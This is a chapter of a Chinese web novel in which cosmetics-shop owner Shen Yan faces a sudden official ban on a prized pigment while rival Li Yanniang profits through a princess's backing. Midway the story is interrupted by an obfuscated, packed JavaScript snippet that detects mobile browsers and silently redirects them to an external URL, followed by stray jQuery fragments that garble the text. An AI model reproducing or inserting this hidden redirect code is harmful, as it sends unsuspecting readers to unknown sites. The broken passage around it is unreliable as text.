沈妍一愕，完全没料到元琛会同她计较这些。


    再说，她怎么能为这种事情找他？


    “世子日理万机，还有正事要忙，妾怎能为一点小事麻烦您。”


    一番好言解释，却不料元琛听完好像更生气了，一开口声音阴恻恻的，像从齿缝里挤出来：“那你就不怕麻烦高云锡？”


    沈妍：“……”


    人家只是顺手帮忙而已。


    “你跟他很熟？”元琛不依不饶，黑着脸继续追问。


    沈妍不知为何，瞧着他莫名有点瘆得慌，磕磕绊绊道：“……也不算很熟……就从前在晋国公府，钦国公他——”


    “够了，我不想听。”元琛突然打断她，言罢头也不回地走了。


    留下沈妍一脸懵地站在原地。


    ——这个人真是莫名其妙啊！


    *


    之后一段日子，除了赴宴时演戏外，元琛很少再主动与沈妍搭话。


    除此以外，他还特意吩咐沈妍早起不必送他。


    再就是，他每日早出晚归，忙得不见人影，就算偶有碰面，也只是冲她略点下头便匆匆离开。


    对沈妍而言，不必同卫世子打交道，她倒能腾出更多精力忙店里的事。


    这期间，她收到了不少贵女的回礼，有各色糕点，小食，绣帕，香囊……不一而足，大都出自闺阁手作。


    回礼通常还都附有字签，字里行间感谢她在牡丹宴及其后的慷慨相赠。


    另外，点绛唇接待的贵客也日益增多。


    这日，从兰竹轩出门前，小满将整理好的一沓字签码在桌案上，边拿镇纸压住，边喜滋滋向沈妍道：“有这么多贵人娘子给主子捧场，点绛唇的生意必定会越来越好。”


    沈妍听得眼尾上扬：“但愿吧。”言罢和小满精神抖擞地出了门。


    刚踏进点绛唇，掌柜刘骥云便一脸凝重地朝她走来：“东家，不好了，咱们库房的金缕砂快用完了。今早我跑遍了东西两市，到处都买不到货。听说官府昨日突然下了禁售令，之前还高价买空了两市的货源。”


    眼下京城贵女圈的衣饰盛行绯、紫、杏、金、绿等富贵、浓郁色泽。


    而金缕砂以其暖红金底色，兼具金砂莹光，显色富丽浓艳，与衣饰搭配起来浑然天成，故而在上都贵女圈大为风靡。


    不过由于金缕砂非中原物产，而是由西北开采后远道运来，是以造价十分昂贵。


    可架不住这玩意太受欢迎，如今但凡有点名气的胭脂铺、口脂店，为了撑门面，多少都会备上几样金缕砂色的高档货品售卖。


    点绛唇刚在贵女圈打响名声，故而，近日得了不少份金缕砂色口脂订单。


    此刻听刘骥云说完，沈妍不由心下一沉，问刘骥云：“剩下的存货还够凑齐订单吗？”


    刘骥云皱眉摇了摇头。


    沈妍不解：“好端端的，官府为何禁售金缕砂？还这么突然。”


    “我已叫人出去打听了。”刘骥云道。


    正说着，派出去办事的伙计仇满仓急匆匆闯进门。


    “怎么样了？”刘骥云迎上前问。


    仇满仓摇头，上气不接下气道：“……没人知道什么原因，据说，眼下除了凝香楼，各大店铺全都断了供。”


    沈妍和刘骥云相视一眼，几乎异口同声：“去私市看看。”


    *


    帝京城南，紧邻通济坊有间破庙。庙宇年久失修，漏风漏雨，早已不知名号。


    然以此庙为中心，前后荒凉的土路两侧，此时此刻却挤满了大大小小的商贩，有西域人士，也有当地土著，三教九流，各色人等络绎不绝。


    这里就是上都最有名的黑市一条街。


    各种来路不明的古董、赃物、禁品、走私货……五花八门，林林总总，例来皆在此地交易，这是自前朝以来便形成的传统。


    沈妍、刘骥云和丁香三人赶到私市前，刘骥云已吩咐得力的伙计前往打探情报，只是人一直未归，刘骥云猜测，事情多半并不顺利。


    路上，他对沈妍说起此事。


    沈妍点头道：“不急，先看看情况再说。”此行她本就未报太大希望。


    他们能想到私市，别家店铺自然也能想到。


    加上私市上货品本就不多，此行无非是探听一下消息，碰碰运气罢了。


    结果入市的一路，单是口脂店掌柜他们就遇见了四位。


    可见大伙全想一块去了。


    沈妍看几位掌柜全都肃着一张脸，视线相触，彼此都心照不宣地叹了口气。


    看来情况比想象中还要糟糕。


    前方一处摊位旁，几名衙役正呼喝着缉拿摊主。


    那摊主显然极不服气，边奋力挣扎，边大声叫嚷：“你们凭什么抓我？老子在这摆摊多年，从来卖的都是这几样东西，我犯了什么罪？”


    “废话！”一名官差头目扭紧他的胳膊，厉喝道，“官府已明令禁售金缕砂，你还敢偷偷售卖，不抓你抓谁？”


    边说，他边指挥手下把该摊位的金缕砂全部抄走。


    这一杀鸡儆猴的举动立时惊动了周边的摊主。不少人害怕沾上官府，甚至主动将自家的存货上缴，还有些摊主则忙着收摊撤柜。


    黑市售卖之物本就处于模糊地带，摊主们瞧见这阵势，哪个还敢往刀口上撞？


    这边的骚动很快吸引了附近客人和前来购买的人群，不少人看得怒气冲冲，怨声载道。


    “官府禁令下得如此突然，我们之前的订单怎么办？损失谁来赔？”


    “就是！再说既然要截断货源，众商户便该一视同仁，为何凝香楼就能例外？”


    “是啊，我今早还看见凝香楼新上了一批金缕砂。”


    “八成是有狗官拿了凝香楼的好处，中饱私囊吧？”


    “有道理，这些人可没少干这种事。”


    “去去去，让开！让开！”几名衙役上前开道，驱赶着人群。


    此时，忽听人群中一老者的声音高叫道：“各位老板、掌柜，老夫今日要拟一份状纸，将金缕砂禁令之事上告，有谁想要一起？”


    沈妍认得说话的老者乃是红妆坊的赵老板。此人经营胭脂铺多年，在京中算是这一行德高望重的行首。


    话音落下，周遭立时有不少人高高举手响应。其中领头的几位老板一拍即合，决定就此不合理的禁令拟一份状纸，联名上告。


    很快便有人找来笔墨纸张，拟好了一份状子。


    沈妍见诸位老板纷纷上前，在状子后面填写姓名，也跟着挤上前去。


    这边，她才写完姓名，后面人群中忽有人扬声道：“金缕砂乃贵人色，本就不该什么人都能售卖，官府将其交给某些有实力的店铺也在情理之中。”


    这话说得盛气凌人，倨傲霸道，又在这风口浪尖力挺官府，故而话音落下，立时引来一片反感。


    沈妍扭头向声音来处望去，只见李胭娘端坐在步辇上，边朝人群靠近，边拖着尾音慢条斯理道，“诸位老板有这份告状的心思，不如先想想如何解决眼前的订单吧。”


    人群中识得李胭娘的掌柜不在少数，更有那依仗金缕砂吃饭的掌柜，如今一下子被夺去饭碗，听见这话，忍不住愤然声讨。


    “你的凝香楼不愁货源，当然会如此说！”


    “李掌柜得了多少好处？来这里帮官府说话？”


    “哼，官商勾结，欺行霸市，说的就是李胭娘这种人！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421194|179632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……


    这边，刘骥云面露疑惑：“李胭娘在这种时候泼大家的冷水，这不是摆明要激起众怒吗？”


    旁边，丁香冷哼一声，咬牙切齿：“瞧她那副高高在上的样子，真是要多欠揍有多欠揍！”


    “不，”沈妍闻言却摇头道，“李胭娘没这么傻。”


    话音落地，只见李胭娘在一片喝骂声中手臂平伸，不紧不慢对众言道：“刚刚莫老板说凝香楼不愁货源——”她不无自得地弯了弯唇，“说得对，我们凝香楼的确还有很多金缕砂，多得自己都用不完了。所以，有哪位老板想要，我李胭娘随时可以转卖给他，以解诸位的燃眉之急。”


    她视线扫过一众老板、掌柜，“不过，这还要视诸位的表现。”


    话音落地，周围瞬时一静。沈妍注意到适才不少联名告状的老板，此刻返回那张桌案，要求划掉自己的姓名。


    这也难怪，比起靠漫长的告状伸张正义，当然是换个方式搞到金缕砂，来得实际稳妥。


    眼下售卖金缕砂的渠道全部堵塞，李胭娘便可借助上位者的货源优势，加价售卖给其他店铺，在胭脂、口脂之外，额外多赚一大笔。


    这才是李胭娘的如意算盘。


    看着刚刚还义愤填膺的老板们，此时都争先恐后涌向李胭娘，沈妍缓缓摇了摇头，对刘骥云和丁香道：“走吧。”


    *


    凝香楼顶层茶室,李胭娘煮好茶汤后，斟了一盏，恭恭敬敬奉到桓莹玉面前。


    “郡主放心，”站在茶桌旁，她对桓莹玉道，“这次您亲自出手切断了黑市的金缕砂货源，胭娘敢向您保证，姓沈的当初怎么吃下去的那批贵客，近日就得怎么吐出来。”


    旁边圈椅上，桓莹玉不慌不忙呷了口茶，撂下建盏道：“我果然没看错人，李掌柜不愧是那个侍妾的克星。”


    “郡主过奖。”李胭娘唇边轻漾，“那个姓沈的，不只郡主看不惯，此人也是小人的眼中钉肉中刺。总之，您就等着瞧好戏吧。”


    桓莹玉颔首，起身将一枚令牌置于桌上：“最新一批货今日抵达驿站，届时，你可叫人凭此令牌拿货。”言罢，她提步向门口走去。


    “是。”李胭娘欢喜地应承一声，朝桓莹玉的背影躬身下拜，“胭娘多谢郡主恩典！”


    *


    凝香楼外，目送平陵郡主的车轿消失在长街转角，李胭娘和菊芬返回店铺。


    一名掌事伙计从后院库房赶来，大步至李胭娘跟前，叉手道：“掌柜，事情都办妥了。”


    李胭娘点头，边提起裙摆上楼，边道：“你随我上来。”


    那伙计应声，随李胭娘和菊芬上了顶楼茶室。


    “掌柜，今日那批货均已高价售出，后面五日的订单也排满了。”掌事伙计志得意满道。


    言罢似又想起什么，一顿，“另外，小人已将丑话说在前头，从凝香楼出去的金缕砂均有记录在案，不得再度转售。如有违背，被官府追究起来，凝香楼概不负责。客人们听后都争相签下了条款。”


    “你办事，我放心。”李胭娘道。


    那伙计又道：“此外，今日又来了好几笔订单，约莫是客人们听说了别家店金缕砂断供之事。”


    闻言，李胭娘不无得意地轻哼一声：“甚好。”


    掌事伙计却略作迟疑：“不过，那几笔订单数量都不少，以咱们作坊的产力——”


    “无妨。”李胭娘毫不迟疑，“送上门的银子岂有不要的道理？让作坊加紧赶制即可。”


    “是。”掌事伙计讨到示下，躬身退出。


    这边，菊芬关好门回来，不无担忧地对李胭娘道：“主子，这次金缕砂一事，郡主搞出这么大动静——该不会惊动卫世子吧？”